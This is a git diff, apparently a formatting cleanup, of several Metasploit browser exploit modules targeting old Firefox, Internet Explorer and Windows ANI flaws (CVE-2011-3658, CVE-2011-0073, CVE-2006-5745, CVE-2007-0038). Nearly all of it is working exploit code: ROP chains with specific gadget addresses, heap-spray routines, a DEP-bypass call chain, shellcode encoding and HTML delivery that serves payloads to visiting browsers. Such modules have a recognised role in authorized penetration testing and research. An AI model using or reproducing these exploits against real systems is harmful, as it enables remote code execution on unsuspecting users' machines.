'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { + 'Payload' => { 'Space' => 1024, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ - [ 'Automatic', { } ], + [ 'Automatic', {} ], # DEP bypass [ @@ -81,9 +78,15 @@ def initialize(info = {}) } ] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2011-05-10' - )) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2011-05-10', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def junk @@ -91,20 +94,19 @@ def junk end def on_request_uri(cli, request) - # Random JavaScript variable names - js_element_name = rand_text_alpha(rand(10) + 5) - js_obj_addr_name = rand_text_alpha(rand(10) + 5) - js_sc_name = rand_text_alpha(rand(10) + 5) - js_ret_addr_name = rand_text_alpha(rand(10) + 5) - js_chunk_name = rand_text_alpha(rand(10) + 5) - js_final_chunk_name = rand_text_alpha(rand(10) + 5) - js_block_name = rand_text_alpha(rand(10) + 5) - js_array_name = rand_text_alpha(rand(10) + 5) - js_retns = rand_text_alpha(rand(10) + 5) - js_applet_name = rand_text_alpha(rand(10) + 5) - js_ppppr = rand_text_alpha(rand(10) + 5) - js_filler = rand_text_alpha(rand(10) + 5) + js_element_name = rand_text_alpha(rand(10) + 5) + js_obj_addr_name = rand_text_alpha(rand(10) + 5) + js_sc_name = rand_text_alpha(rand(10) + 5) + js_ret_addr_name = rand_text_alpha(rand(10) + 5) + js_chunk_name = rand_text_alpha(rand(10) + 5) + js_final_chunk_name = rand_text_alpha(rand(10) + 5) + js_block_name = rand_text_alpha(rand(10) + 5) + js_array_name = rand_text_alpha(rand(10) + 5) + js_retns = rand_text_alpha(rand(10) + 5) + js_applet_name = rand_text_alpha(rand(10) + 5) + js_ppppr = rand_text_alpha(rand(10) + 5) + js_filler = rand_text_alpha(rand(10) + 5) agent = request.headers['User-Agent'] @@ -131,7 +133,7 @@ def on_request_uri(cli, request) if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/ html_trigger = "" - if ("/" == get_resource[-1,1]) + if ("/" == get_resource[-1, 1]) html_trigger = get_resource[0, get_resource.length - 1] else html_trigger = get_resource @@ -187,7 +189,7 @@ def on_request_uri(cli, request) # 319 # rop nops - RETN - rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65) + rop_pivot << [0x7c3410c4].pack("V*") * 0x65 # (0xca-0x65) # POP r32 / RETN rop_pivot << [0x7c3410c3].pack("V*") @@ -244,7 +246,7 @@ def on_request_uri(cli, request) end - payload_buf = '' + payload_buf = '' payload_buf << rop payload_buf << p escaped_payload = Rex::Text.to_unescape(payload_buf) @@ -336,7 +338,7 @@ def on_request_uri(cli, request) HTML - #Remove the extra tabs + # Remove the extra tabs html = html.gsub(/^ {4}/, '') print_status("Sending HTML...") send_response_html(cli, html, { 'Content-Type' => 'text/html' }) diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index c60ac029a2a3e..043cec6a6fada 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -9,74 +9,77 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Firefox nsSVGValue Out-of-Bounds Access Vulnerability', - 'Description' => %q{ - This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1). - The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y) - uses a loop which can result in an out-of-bounds access to attacker-controlled memory. - The mObserver ElementAt() function (which picks up pointers), does not validate - if a given index is out of bound. If a custom observer of nsSVGValue is created, - which removes elements from the original observer, - and memory layout is manipulated properly, the ElementAt() function might pick up - an attacker provided pointer, which can be leveraged to gain remote arbitrary - code execution. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'regenrecht', #vulnerability discovery - 'Lincoln', #Metasploit module - 'corelanc0d3r' #Metasploit module + super( + update_info( + info, + 'Name' => 'Firefox nsSVGValue Out-of-Bounds Access Vulnerability', + 'Description' => %q{ + This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1). + The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y) + uses a loop which can result in an out-of-bounds access to attacker-controlled memory. + The mObserver ElementAt() function (which picks up pointers), does not validate + if a given index is out of bound. If a custom observer of nsSVGValue is created, + which removes elements from the original observer, + and memory layout is manipulated properly, the ElementAt() function might pick up + an attacker provided pointer, which can be leveraged to gain remote arbitrary + code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'regenrecht', # vulnerability discovery + 'Lincoln', # Metasploit module + 'corelanc0d3r' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2011-3658' ], [ 'OSVDB', '77953'], [ 'ZDI', '12-056' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, - 'Payload' => - { - 'BadChars' => "\x00\x0a\x0d\x34", - 'DisableNops' => true, - 'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" #ADD ESP, -5DC + 'Payload' => { + 'BadChars' => "\x00\x0a\x0d\x34", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" # ADD ESP, -5DC }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ], [ 'Windows XP - Firefox 7', { - 'Ret' => 0x0C0C0C0C, + 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, - 'Size' => 0x40000, + 'Size' => 0x40000, 'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll] - 'FF' => 7, - 'OS' => 'XP' + 'FF' => 7, + 'OS' => 'XP' } ], [ 'Windows XP - Firefox 8 (<= 8.0.1)', { - 'Ret' => 0x0C0C0C0C, + 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, - 'Size' => 0x40000, + 'Size' => 0x40000, 'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll] - 'FF' => 8, - 'OS' => 'XP' + 'FF' => 8, + 'OS' => 'XP' } ] ], - 'DisclosureDate' => '2011-12-06', - 'DefaultTarget' => 0)) - + 'DisclosureDate' => '2011-12-06', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -87,7 +90,7 @@ def check_dependencies use_zlib end - def junk(n=4) + def junk(n = 4) return rand_text_alpha_upper(n).unpack("L")[0].to_i end @@ -95,8 +98,7 @@ def nop return make_nops(4).unpack("L")[0].to_i end - def get_rop_chain(ffversion,osversion) - + def get_rop_chain(ffversion, osversion) # mona.py ROP chains rop_chain = [] @@ -104,50 +106,49 @@ def get_rop_chain(ffversion,osversion) if ffversion == 7 and osversion == "XP" rop_chain = - [ - 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] - 0x7813aeed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] - 0x78194774, # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll] - 0x78139801, # RETN (ROP NOP) [MOZCRT19.dll] -> edi - 0x78195375, # & push esp # ret [MOZCRT19.dll] -> ebp - 0x00000001, # 0x00000001-> ebx - 0x7819966e, # POP EDX # RETN [MOZCRT19.dll] - 0x00001000, # 0x00001000-> edx - 0x7813557f, # POP ECX # RETN [MOZCRT19.dll] - 0x00000040, # 0x00000040-> ecx - 0x781a4da8, # POP EAX # RETN [MOZCRT19.dll] - nop, # nop - 0x7813d647, # PUSHAD # RETN [MOZCRT19.dll] - ].flatten.pack("V*") + [ + 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] + 0x7813aeed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] + 0x78194774, # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll] + 0x78139801, # RETN (ROP NOP) [MOZCRT19.dll] -> edi + 0x78195375, # & push esp # ret [MOZCRT19.dll] -> ebp + 0x00000001, # 0x00000001-> ebx + 0x7819966e, # POP EDX # RETN [MOZCRT19.dll] + 0x00001000, # 0x00001000-> edx + 0x7813557f, # POP ECX # RETN [MOZCRT19.dll] + 0x00000040, # 0x00000040-> ecx + 0x781a4da8, # POP EAX # RETN [MOZCRT19.dll] + nop, # nop + 0x7813d647, # PUSHAD # RETN [MOZCRT19.dll] + ].flatten.pack("V*") elsif ffversion == 8 and osversion == "XP" rop_chain = - [ - 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] - 0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] - 0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll] - 0x7814eef1, # POP EBP # RETN [MOZCRT19.dll] - 0x781503c3, # & call esp [MOZCRT19.dll] - 0x781391d0, # POP EBX # RETN [MOZCRT19.dll] - 0x00000001, # 0x00000001-> ebx - 0x781a147c, # POP EDX # RETN [MOZCRT19.dll] - 0x00001000, # 0x00001000-> edx - 0x7819728e, # POP ECX # RETN [MOZCRT19.dll] - 0x00000040, # 0x00000040-> ecx - 0x781945b5, # POP EDI # RETN [MOZCRT19.dll] - 0x78152809, # RETN (ROP NOP) [MOZCRT19.dll] - 0x7819ce58, # POP EAX # RETN [MOZCRT19.dll] - nop, # nop - 0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll] - ].flatten.pack("V*") + [ + 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] + 0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] + 0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll] + 0x7814eef1, # POP EBP # RETN [MOZCRT19.dll] + 0x781503c3, # & call esp [MOZCRT19.dll] + 0x781391d0, # POP EBX # RETN [MOZCRT19.dll] + 0x00000001, # 0x00000001-> ebx + 0x781a147c, # POP EDX # RETN [MOZCRT19.dll] + 0x00001000, # 0x00001000-> edx + 0x7819728e, # POP ECX # RETN [MOZCRT19.dll] + 0x00000040, # 0x00000040-> ecx + 0x781945b5, # POP EDI # RETN [MOZCRT19.dll] + 0x78152809, # RETN (ROP NOP) [MOZCRT19.dll] + 0x7819ce58, # POP EAX # RETN [MOZCRT19.dll] + nop, # nop + 0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll] + ].flatten.pack("V*") end return rop_chain end - def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) @@ -181,53 +182,53 @@ def on_request_uri(cli, request) # Create the payload print_status("Creating payload for #{my_target.name}") table = - [ - 0x0c0c0c0c, # index - 0x0c0c0c0c, # index - 0x0c0c0c0c, # index - 0x7c45abdf # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL] - ].pack("V*") + [ + 0x0c0c0c0c, # index + 0x0c0c0c0c, # index + 0x0c0c0c0c, # index + 0x7c45abdf # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL] + ].pack("V*") rop = rand_text_alpha_upper(56) rop << [ my_target['PopEax'] ].pack("V") rop << rand_text_alpha_upper(40) - rop << get_rop_chain(my_target['FF'],my_target['OS']) + rop << get_rop_chain(my_target['FF'], my_target['OS']) # Encode table, chain and payload - rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(my_target.arch)) + rop_js = Rex::Text.to_unescape(table + rop, Rex::Arch.endian(my_target.arch)) code = payload.encoded code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch)) # random JavaScript variable names - i_name = rand_text_alpha(rand(10) + 5) - rop_name = rand_text_alpha(rand(10) + 5) - code_name = rand_text_alpha(rand(10) + 5) - offset_length_name = rand_text_alpha(rand(10) + 5) - randnum1_name = rand_text_alpha(rand(10) + 5) - randnum2_name = rand_text_alpha(rand(10) + 5) - randnum3_name = rand_text_alpha(rand(10) + 5) - randnum4_name = rand_text_alpha(rand(10) + 5) - paddingstr_name = rand_text_alpha(rand(10) + 5) - padding_name = rand_text_alpha(rand(10) + 5) - junk_offset_name = rand_text_alpha(rand(10) + 5) - single_sprayblock_name = rand_text_alpha(rand(10) + 5) - sprayblock_name = rand_text_alpha(rand(10) + 5) - varname_name = rand_text_alpha(rand(10) + 5) - thisvarname_name = rand_text_alpha(rand(10) + 5) - container_name = rand_text_alpha(rand(10) + 5) - tls_name = rand_text_alpha(rand(10) + 5) - tl_name = rand_text_alpha(rand(10) + 5) - rect_name = rand_text_alpha(rand(10) + 5) - big_name = rand_text_alpha(rand(10) + 5) - small_name = rand_text_alpha(rand(10) + 5) - listener_name = rand_text_alpha(rand(10) + 5) - run_name = rand_text_alpha(rand(10) + 5) - svg_name = rand_text_alpha(rand(10) + 5) - atl_name = rand_text_alpha(rand(10) + 5) - addr_name = rand_text_alpha(rand(10) + 5) - trans_name = rand_text_alpha(rand(10) + 5) - matrix_name = rand_text_alpha(rand(10) + 5) + i_name = rand_text_alpha(rand(10) + 5) + rop_name = rand_text_alpha(rand(10) + 5) + code_name = rand_text_alpha(rand(10) + 5) + offset_length_name = rand_text_alpha(rand(10) + 5) + randnum1_name = rand_text_alpha(rand(10) + 5) + randnum2_name = rand_text_alpha(rand(10) + 5) + randnum3_name = rand_text_alpha(rand(10) + 5) + randnum4_name = rand_text_alpha(rand(10) + 5) + paddingstr_name = rand_text_alpha(rand(10) + 5) + padding_name = rand_text_alpha(rand(10) + 5) + junk_offset_name = rand_text_alpha(rand(10) + 5) + single_sprayblock_name = rand_text_alpha(rand(10) + 5) + sprayblock_name = rand_text_alpha(rand(10) + 5) + varname_name = rand_text_alpha(rand(10) + 5) + thisvarname_name = rand_text_alpha(rand(10) + 5) + container_name = rand_text_alpha(rand(10) + 5) + tls_name = rand_text_alpha(rand(10) + 5) + tl_name = rand_text_alpha(rand(10) + 5) + rect_name = rand_text_alpha(rand(10) + 5) + big_name = rand_text_alpha(rand(10) + 5) + small_name = rand_text_alpha(rand(10) + 5) + listener_name = rand_text_alpha(rand(10) + 5) + run_name = rand_text_alpha(rand(10) + 5) + svg_name = rand_text_alpha(rand(10) + 5) + atl_name = rand_text_alpha(rand(10) + 5) + addr_name = rand_text_alpha(rand(10) + 5) + trans_name = rand_text_alpha(rand(10) + 5) + matrix_name = rand_text_alpha(rand(10) + 5) # corelan precise heap spray for Firefox >= 7 # + trigger routine @@ -335,7 +336,6 @@ def on_request_uri(cli, request) print_status("Sending HTML") # Transmit the response to the client - send_response(cli, content, {'Content-Type'=>'text/html'}) - + send_response(cli, content, { 'Content-Type' => 'text/html' }) end end diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 4ccf2c41a316e..80e6daeff248c 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -20,57 +20,58 @@ class MetasploitModule < Msf::Exploit::Remote }) def initialize(info = {}) - super(update_info(info, - 'Name' => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability', - 'Description' => %q{ - This module exploits a code execution vulnerability in Mozilla Firefox - 3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection. - By overwriting a subfunction of invalidateSelection it is possible to free the - nsTreeRange object that the function currently operates on. - Any further operations on the freed object can result in remote code execution. - Utilizing the call setup the function provides it's possible to bypass DEP - without the need for a ROP. Sadly this exploit is still either dependent - on Java or bound by ASLR because Firefox doesn't employ any ASLR-free - modules anymore. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Mozilla Firefox "nsTreeRange" Dangling Pointer Vulnerability', + 'Description' => %q{ + This module exploits a code execution vulnerability in Mozilla Firefox + 3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection. + By overwriting a subfunction of invalidateSelection it is possible to free the + nsTreeRange object that the function currently operates on. + Any further operations on the freed object can result in remote code execution. + Utilizing the call setup the function provides it's possible to bypass DEP + without the need for a ROP. Sadly this exploit is still either dependent + on Java or bound by ASLR because Firefox doesn't employ any ASLR-free + modules anymore. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'regenrecht', # discovered and sold to ZDI 'xero', # Shenanigans ], - 'References' => - [ - ['CVE', '2011-0073'], - ['OSVDB', '72087'], - ['BID', '47663'], - ['ZDI', '11-157'], - ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'], - ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] + 'References' => [ + ['CVE', '2011-0073'], + ['OSVDB', '72087'], + ['BID', '47663'], + ['ZDI', '11-157'], + ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=630919'], + ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'thread', # graceful exit if run in separate thread 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 0x1000, # depending on the spray size it's actually a lot more + 'Payload' => { + 'Space' => 0x1000, # depending on the spray size it's actually a lot more }, - 'Platform' => %w{ win }, - 'Targets' => - [ - [ 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)', + 'Platform' => %w{win}, + 'Targets' => [ + [ + 'Auto (Direct attack against Windows XP, otherwise through Java, if enabled)', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'Auto' => true, - 'Targets' => [['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1], - ['navigator.javaEnabled()', 2]], + 'Targets' => [ + ['navigator.userAgent.indexOf("Windows NT 5.1") != -1', 1], + ['navigator.javaEnabled()', 2] + ], 'UsesJava' => true } ], - [ 'Firefox Runtime, fails with ASLR', + [ + 'Firefox Runtime, fails with ASLR', { 'Platform' => 'win', 'Arch' => ARCH_X86, @@ -80,7 +81,8 @@ def initialize(info = {}) 'UsesJava' => false } ], - [ 'Java Runtime (7.10.3052.4), best against ASLR', + [ + 'Java Runtime (7.10.3052.4), best against ASLR', { 'Platform' => 'win', 'Arch' => ARCH_X86, @@ -90,7 +92,8 @@ def initialize(info = {}) 'UsesJava' => true } ], - [ 'Java JVM (20.1.0.02)', + [ + 'Java JVM (20.1.0.02)', { 'Platform' => 'win', 'Arch' => ARCH_X86, @@ -100,7 +103,8 @@ def initialize(info = {}) 'UsesJava' => true } ], - [ 'Java Regutils (6.0.260.3)', + [ + 'Java Regutils (6.0.260.3)', { 'Platform' => 'win', 'Arch' => ARCH_X86, @@ -111,9 +115,15 @@ def initialize(info = {}) } ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2011-02-02' - )) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2011-02-02', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -142,31 +152,31 @@ def prepare_payload(target, p) callchain = [] # Adding calls by hand is tedious, look at the bottom for an explanation of these values - add_call = Proc.new { |offset, arg1, arg2, direct | - next_offset = base_offset + (callchain.flatten.length*4) + add_call = Proc.new { |offset, arg1, arg2, direct| + next_offset = base_offset + (callchain.flatten.length * 4) callchain[-1][2] = next_offset if callchain.length > 0 # connect new frame to last one if direct callchain << - [ - next_offset + 0x4 - 8, - next_offset + 0x14, - 0, - arg1, - arg2, - next_offset + 0x18 - 0x70, - offset - ] + [ + next_offset + 0x4 - 8, + next_offset + 0x14, + 0, + arg1, + arg2, + next_offset + 0x18 - 0x70, + offset + ] else callchain << - [ - next_offset + 0x4 - 8, - next_offset + 0x14, - 0, - arg1, - arg2, - offset - 0x70 - ] + [ + next_offset + 0x4 - 8, + next_offset + 0x14, + 0, + arg1, + arg2, + offset - 0x70 + ] end } @@ -175,7 +185,7 @@ def prepare_payload(target, p) add_call.call(0xDEADBEEF, 0, 0, true) # call our shellcode callchain.flatten! - callchain[-1] = base_offset + (callchain.length*4) # patch last offset to point to shellcode located after callchain + callchain[-1] = base_offset + (callchain.length * 4) # patch last offset to point to shellcode located after callchain esp_fix = 0x10 @@ -212,50 +222,49 @@ def prepare_payload(target, p) end def on_request_uri(cli, request) - if request.uri == get_resource() or request.uri =~ /\/$/ print_status("Redirecting to .html URL") redir = get_resource() - redir << '/' if redir[-1,1] != '/' - redir << rand_text_alphanumeric(4+rand(4)) + redir << '/' if redir[-1, 1] != '/' + redir << rand_text_alphanumeric(4 + rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ print_status("Sending HTML") - xul_name = rand_text_alpha(rand(100)+1) - j_applet = rand_text_alpha(rand(100)+1) - - html = <<-EOS - -#{"" if target['UsesJava']} - - -EOS + xul_name = rand_text_alpha(rand(100) + 1) + j_applet = rand_text_alpha(rand(100) + 1) + + html = <<~EOS + + #{"" if target['UsesJava']} + + + EOS send_response(cli, html, { 'Content-Type' => 'text/html' }) elsif request.uri =~ /\.xul$/ print_status("Sending XUL") - js_file = rand_text_alpha(rand(100)+1) - @js_func = rand_text_alpha(rand(32)+1) - - xul = <<-EOS - - - -") + "") # Handle the payload handler(cli) diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb index 9314bd9d55df6..742c3358da2ec 100644 --- a/modules/exploits/windows/browser/ms06_071_xml_core.rb +++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb @@ -9,43 +9,47 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling', + 'Description' => %q{ This module exploits a code execution vulnerability in Microsoft XML Core Services which - exists in the XMLHTTP ActiveX control. This module is the modified version of - http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully - tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6 - + Microsoft XML Core Services 4.0 SP2. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + exists in the XMLHTTP ActiveX control. This module is the modified version of + http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully + tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6 + + Microsoft XML Core Services 4.0 SP2. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Trirat Puttaraksa ', ], - 'References' => - [ - ['CVE', '2006-5745' ], + 'References' => [ + ['CVE', '2006-5745' ], ['OSVDB', '29425' ], - ['MSB', 'MS06-071' ], - ['BID', '20915' ], + ['MSB', 'MS06-071' ], + ['BID', '20915' ], ], - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ - ['Windows 2000 SP4 -> Windows 2003 SP0', {'Ret' => 0x0c0c0c0c} ] + 'Platform' => 'win', + 'Targets' => [ + ['Windows 2000 SP4 -> Windows 2003 SP0', { 'Ret' => 0x0c0c0c0c } ] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2006-10-10')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2006-10-10', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def on_request_uri(cli, request) - # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) @@ -53,22 +57,21 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Get a unicode friendly version of the return address - addr_word = [target.ret].pack('V').unpack('H*')[0][0,4] + addr_word = [target.ret].pack('V').unpack('H*')[0][0, 4] # Randomize the javascript variable names - var_buffer = rand_text_alpha(rand(30)+2) - var_shellcode = rand_text_alpha(rand(30)+2) - var_unescape = rand_text_alpha(rand(30)+2) - var_x = rand_text_alpha(rand(30)+2) - var_i = rand_text_alpha(rand(30)+2) - - var_size = rand_text_alpha(rand(30)+2) - var_nopsize = rand_text_alpha(rand(30)+2) - var_limit = rand_text_alpha(rand(30)+2) - - var_obj = rand_text_alpha(rand(30)+2) - var_id = rand_text_alpha(rand(30)+2) - + var_buffer = rand_text_alpha(rand(30) + 2) + var_shellcode = rand_text_alpha(rand(30) + 2) + var_unescape = rand_text_alpha(rand(30) + 2) + var_x = rand_text_alpha(rand(30) + 2) + var_i = rand_text_alpha(rand(30) + 2) + + var_size = rand_text_alpha(rand(30) + 2) + var_nopsize = rand_text_alpha(rand(30) + 2) + var_limit = rand_text_alpha(rand(30) + 2) + + var_obj = rand_text_alpha(rand(30) + 2) + var_id = rand_text_alpha(rand(30) + 2) # Build out the message content = %Q| diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb index 87f2f8ff2c72b..c1765a722a93f 100644 --- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb @@ -13,132 +13,141 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::RIFF def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)', + 'Description' => %q{ This module exploits a buffer overflow vulnerability in the - LoadAniIcon() function in USER32.dll. The flaw can be triggered through - Internet Explorer 6 and 7 by using the CURSOR style sheet directive - to load a malicious .ANI file. The module can also exploit Mozilla - Firefox by using a UNC path in a moz-icon URL and serving the .ANI file - over WebDAV. The vulnerable code in USER32.dll will catch any - exceptions that occur while the invalid cursor is loaded, causing the - exploit to silently fail when the wrong target has been chosen. - - This vulnerability was discovered by Alexander Sotirov of Determina - and was rediscovered, in the wild, by McAfee. - }, - - 'Author' => - [ - 'hdm', # First version + LoadAniIcon() function in USER32.dll. The flaw can be triggered through + Internet Explorer 6 and 7 by using the CURSOR style sheet directive + to load a malicious .ANI file. The module can also exploit Mozilla + Firefox by using a UNC path in a moz-icon URL and serving the .ANI file + over WebDAV. The vulnerable code in USER32.dll will catch any + exceptions that occur while the invalid cursor is loaded, causing the + exploit to silently fail when the wrong target has been chosen. + + This vulnerability was discovered by Alexander Sotirov of Determina + and was rediscovered, in the wild, by McAfee. + }, + + 'Author' => [ + 'hdm', # First version 'skape', # Vista support # Firefox support, OS language independence, improved reliability 'Solar Eclipse ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2007-0038'], ['OSVDB', '33629'], ['BID', '23194'], ['MSB', 'MS07-017'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024 + (rand(1000)), + 'Payload' => { + 'Space' => 1024 + (rand(1000)), 'Compat' => - { - 'ConnectionType' => '-find', - } + { + 'ConnectionType' => '-find', + } }, - 'Platform' => 'win', - - # Automatic target tested on: - # - # Windows NT SP6 + IE6 SP1 - # Windows 2000 SP4 + IE6 SP1 - # Windows 2000 SP4 UR1 + IE6 SP1 - # Windows XP SP0 - # Windows XP SP1 - # Windows XP SP2 - # Windows XP SP2 + IE7 - # Windows 2003 SP0 - # Windows 2003 SP1 - # Windows 2003 SP1 + IE7 - # Windows Vista - # - # Windows XP SP0 + Firebird 0.7 - # Windows XP SP0 + Firefox 1.0 - # Windows XP SP0 + Firefox 1.5 - # Windows XP SP2 + Firefox 2.0 - # Windows 2003 SP1 + Firefox 2.0 - # Windows Vista + Firefox 2.0 - - 'Targets' => - [ - [ '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista', + 'Platform' => 'win', + + # Automatic target tested on: + # + # Windows NT SP6 + IE6 SP1 + # Windows 2000 SP4 + IE6 SP1 + # Windows 2000 SP4 UR1 + IE6 SP1 + # Windows XP SP0 + # Windows XP SP1 + # Windows XP SP2 + # Windows XP SP2 + IE7 + # Windows 2003 SP0 + # Windows 2003 SP1 + # Windows 2003 SP1 + IE7 + # Windows Vista + # + # Windows XP SP0 + Firebird 0.7 + # Windows XP SP0 + Firefox 1.0 + # Windows XP SP0 + Firefox 1.5 + # Windows XP SP2 + Firefox 2.0 + # Windows 2003 SP1 + Firefox 2.0 + # Windows Vista + Firefox 2.0 + + 'Targets' => [ + [ + '(Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista', { - 'Method' => 'automatic' + 'Method' => 'automatic' } ], - [ 'IE6 on Windows NT, 2000, XP, 2003 (all languages)', + [ + 'IE6 on Windows NT, 2000, XP, 2003 (all 